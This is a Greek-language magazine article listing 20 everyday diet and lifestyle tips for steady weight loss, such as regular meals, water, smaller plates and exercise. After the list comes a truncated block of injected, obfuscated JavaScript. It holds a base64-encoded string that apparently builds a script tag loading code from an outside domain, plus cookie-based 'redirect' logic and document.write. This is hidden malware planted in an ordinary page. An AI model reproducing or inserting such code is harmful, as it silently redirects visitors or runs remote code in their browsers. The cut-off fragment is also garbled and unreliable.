20 μυστικά για σταθερή απώλεια βάρους

Πολλές από εμάς προσπαθούμε να χάσουμε βάρος με εξαντλητικές δίαιτες, αλλά τελικά το μυστικό είναι να γίνει η σωστή διατροφή τρόπος ζωής!

Παρακάτω διαβάστε 20 μικρές αλλαγές στη διατροφή μας που μπορούν να αλλάξουν το σώμα μας:

1. Μην παραλείπετε γεύματα και κυρίως το πρωινό. Ο οργανισμός ξυπνάει από τη νυχτερινή νηστεία και χρειάζεται ενέργεια. Τρώτε τουλάχιστον 3-5 γεύματα ημερησία».

2. Μην ξεχνάτε να πίνετε νερό. Βεβαιωθείτε ότι ήπιατε 8-10 ποτήρια.

3. Μη ζυγίζεστε καθημερινά. Καταντά εμμονή και λειτουργεί ανασταλτικά.

4. Μην ξεχνάτε να τρώτε 5 με 7 μερίδες λαχανικών και φρούτων εποχής ημερησίως.

5. Μην αντισταθείτε σε μια χούφτα ανάκατων και άψητων ξηρών καρπών καθώς και σε 2-3 ξερά φρούτα (δαμάσκηνα, σύκα κ.λ.π.).

6. Μη στερείτε από τον εαυτό σας την απόλαυση του γλυκού. Όταν νιώσετε την επιθυμία, φάτε ένα μικρό κομματάκι μαύρη σοκολάτα που είναι πλούσια σε μαγνήσιο, το οποίο ηρεμεί το νευρικό σύστημα (αρκεί να μην το επιθυμείτε όλη την ώρα).

7. Μην προσπαθείτε να χάσετε πάνω από 2 κιλά την εβδομάδα. Να είστε ρεαλιστές και έτσι θα έχετε σταθερά αποτελέσματα.

8. Μη σερβίρετε το φαγητό σας σε μεγάλο αλλά σε μικρό πιάτο.

9. Μην ενδώσετε στα ντιπ και στα πολυτελή ψωμάκια που φέρνουν στα εστιατόρια.  Ξεκινήστε με μια νόστιμη σαλάτα και στη συνέχεια δοκιμάστε κάποιο πιάτο υγιεινά παρασκευασμένο, είτε ψάρι στον ατμό είτε ψητό κρέας. Για να μη νιώθετε στέρηση, δοκιμάστε ένα-δυο κουταλάκια από το γλυκό. Αρκεί για να ικανοποιήσετε τη γεύση σας. Όλα στο μυαλό μας είναι.

10. Μη θεωρείτε ότι τα λάιτ προϊόντα είναι ακίνδυνα από άποψη θερμίδων και ότι μπορούμε να τα καταναλώνουμε άφοβα.

11. Μη λέτε ότι κάνετε δίαιτα, αλλά ότι αποφασίσατε να κάνετε μια πιο υγιεινή ζωή γενικότερα.

12. Μην καταναλώνετε τυποποιημένα προϊόντα όπως κονσέρβες, έτοιμες σάλτσες, σούπες. Περιέχουν ζάχαρη, αλάτι και προκαλούν κατακράτηση.

13. Μην απορρίπτεται τον εαυτό σας επειδή πήρε μερικά κιλά. Αγαπήστε τον, αποδεχθείτε το σώμα σας και αυτό θα σας ανταμείψει.

14. Μην εμπιστεύεστε αψήφιστα την υγεία σας σε επιτήδειους. Συμβουλευτείτε ειδικό και σιγουρευτείτε ότι ανήκει στον Πανελλήνιο Σύλλογο Διαιτολόγων.

15. Μην υποτιμάτε τη σημασία της γυμναστικής. Φάτε λιγότερο, γυμναστείτε περισσότερο.

16. Μην πηγαίνετε νηστικές στο σούπερ μάρκετ.  Θα μπείτε στον πειρασμό να αγοράσετε άχρηστα τρόφιμα και σνακ με περιττές θερμίδες.

17. Μην υπερβάλλετε στους σύνθετους καφέδες με σαντιγί και σιρόπι. Δεν μπορείτε να φανταστείτε πόσο πολλές θερμίδες έχουν. Προτιμήστε τον καφέ φίλτρου ή, ακόμα καλύτερα, το πράσινο τσάι ή τη σοκολάτα ρόφημα.

18. Μη ρίχνετε πολύ αλάτι στο φαγητό. Αντικαταστήστε το με πολύ λεμόνι και μπαχαρικά.

19. Μην τρώωτε βαριά πριν τον ύπνο.

20. Μην τσιμπολογάτε από αμηχανία ή από εκνευρισμό χωρίς να πεινάτε. Βάλτε ένα cd που σας χαλαρώνει, απολαύστε ένα ζεστό μπάνιο με άλατα και διαβάστε ένα καλό βιβλίο πίνοντας ένα ποτηράκι κόκκινο κρασί.

 
iUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘